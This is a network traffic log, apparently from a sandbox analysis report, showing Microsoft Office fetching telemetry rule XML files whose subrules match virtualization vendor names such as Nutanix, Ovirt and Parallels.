2024-11-25 11:09:52 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.8	61111	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:09:52 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:09:52 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:09:52 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 2315140c-801e-0015-4daf-3ef97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110952Z-178bfbc474bscnbchC1NYCe7eg00000007e000000000ax9a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:09:52 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.8	61110	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:09:52 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:09:52 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:09:52 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 2309915e-d01e-0014-6179-3eed58000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110952Z-15b8b599d88cn5thhC1TEBqxkn00000005p000000000e2u7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:09:52 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.8	61113	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:09:52 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:09:52 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:09:52 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: ea05e59b-301e-0033-4bf7-3cfa9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110952Z-178bfbc474bbbqrhhC1NYCvw7400000007m0000000002war x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:09:52 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.8	61112	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:09:52 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:09:53 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:09:52 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 1ea24147-701e-000d-3aeb-3e6de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110952Z-15b8b599d8885prmhC1TEBsnkw00000005wg00000000dvzs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:09:53 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.8	61116	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:09:54 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:09:54 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:09:54 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: c63dd3a8-001e-0017-61d8-3d0c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110954Z-178bfbc474bwh9gmhC1NYCy3rs00000007ag00000000dk8n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:09:54 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.8	61117	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:09:54 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:09:54 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:09:54 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 8a5d0632-c01e-0046-08fc-3d2db9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110954Z-178bfbc474bw8bwphC1NYC38b4000000076g000000006q14 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:09:54 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.8	61118	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:09:54 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:09:55 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:09:54 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: db5fa324-001e-00ad-2244-3c554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110954Z-174c587ffdf8lw6dhC1TEBkgs800000005tg00000000d9pf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:09:55 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.8	61119	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:09:54 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:09:55 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:09:55 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: ea7a0cbc-701e-001e-589c-3ef5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110955Z-178bfbc474bw8bwphC1NYC38b40000000790000000002tqq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:09:55 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.8	61120	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:09:54 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:09:55 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:09:55 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 40f78568-a01e-0050-01c6-3edb6e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110955Z-178bfbc474b7cbwqhC1NYC8z4n000000076000000000aq8f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:09:55 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.8	61121	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:09:56 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:09:57 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:09:56 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 04c68412-701e-000d-5268-3b6de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110956Z-178bfbc474b9xljthC1NYCtw9400000007bg0000000028zp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:09:57 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.8	61122	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:09:56 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:09:57 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:09:56 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 877e641f-101e-007a-18c6-3e047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110956Z-178bfbc474bwlrhlhC1NYCy3kg00000007bg00000000869f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:09:57 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.8	61123	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:09:56 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
